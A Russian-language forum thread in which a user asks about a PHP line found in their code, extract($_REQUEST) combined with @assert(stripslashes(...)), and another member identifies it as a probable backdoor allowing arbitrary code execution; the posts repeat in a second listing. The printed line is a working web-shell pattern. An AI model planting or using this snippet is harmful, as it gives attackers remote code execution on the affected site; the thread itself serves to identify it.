Непонятный код с extract, assert

@fanatikus · Регистрация: 17.11.2012

всем привет
кто знает что это за фигня

PHP

1	extract($_REQUEST) && @assert(stripslashes($internal)) && exit;

или так

PHP

1	extract($_REQUEST) && @assert(stripslashes($lock)) && exit;

@Строитель · 13.11.2018, 11:47

extract — Импортирует переменные из массива в текущую таблицу символов
assert — Проверяет, является ли утверждение FALSE
stripslashes и exit вам, наверное, известны?

Ссылки на почитать:
http://php.net/manual/ru/function.extract.php
http://php.net/manual/ru/function.assert.php

@fanatikus · 13.11.2018, 11:51 **[ТС]**

Сообщение от VNIIAEN

extract — Импортирует переменные из массива в текущую таблицу символов
assert — Проверяет, является ли утверждение FALSE
stripslashes и exit вам, наверное, известны?

как работает я понимаю
не понятно, для чего может использоваться
обнаружил эти коды, перед объявлением класса

@Jewbacabra · 13.11.2018, 11:51

Скорее всего это бекдор, assert позволяет выполнить произвольный код

@fanatikus · 13.11.2018, 12:16 **[ТС]**

Сообщение от Jewbacabra

Скорее всего это бекдор, assert позволяет выполнить произвольный код

вот и я примерно так думал.
во всяком случае, ничего хорошего от этого кода не будет. правильно?

@Jewbacabra · 13.11.2018, 12:30

fanatikus, хорошего ничего не будет, но еще неплохо понять как этот код там оказался

@fanatikus · 13.11.2018, 18:38 **[ТС]**

Сообщение от Jewbacabra

но еще неплохо понять как этот код там оказался

это ясно.

@Строитель 1084 / 746 / 364 Регистрация: 09.07.2018 Сообщений: 1,760
	13.11.2018, 11:47	2
	extract — Импортирует переменные из массива в текущую таблицу символов assert — Проверяет, является ли утверждение FALSE stripslashes и exit вам, наверное, известны? Ссылки на почитать: http://php.net/manual/ru/function.extract.php http://php.net/manual/ru/function.assert.php 1

@fanatikus 1931 / 1522 / 703 Регистрация: 17.11.2012 Сообщений: 6,585
	13.11.2018, 11:51 [ТС]	3
	Сообщение от VNIIAEN extract — Импортирует переменные из массива в текущую таблицу символов assert — Проверяет, является ли утверждение FALSE stripslashes и exit вам, наверное, известны? как работает я понимаю не понятно, для чего может использоваться обнаружил эти коды, перед объявлением класса 0

@Jewbacabra 4842 / 3854 / 1599 Регистрация: 24.04.2014 Сообщений: 11,308
	13.11.2018, 11:51	4
	Сообщение было отмечено fanatikus как решение Решение Скорее всего это бекдор, assert позволяет выполнить произвольный код 1

@fanatikus 1931 / 1522 / 703 Регистрация: 17.11.2012 Сообщений: 6,585
	13.11.2018, 12:16 [ТС]	5
	Сообщение от Jewbacabra Скорее всего это бекдор, assert позволяет выполнить произвольный код вот и я примерно так думал. во всяком случае, ничего хорошего от этого кода не будет. правильно? 0

@Jewbacabra 4842 / 3854 / 1599 Регистрация: 24.04.2014 Сообщений: 11,308
	13.11.2018, 12:30	6
	fanatikus, хорошего ничего не будет, но еще неплохо понять как этот код там оказался 0

@fanatikus 1931 / 1522 / 703 Регистрация: 17.11.2012 Сообщений: 6,585
	13.11.2018, 18:38 [ТС]	7
	Сообщение от Jewbacabra но еще неплохо понять как этот код там оказался это ясно. 0

Опции темы

Непонятный код с extract, assert

Решение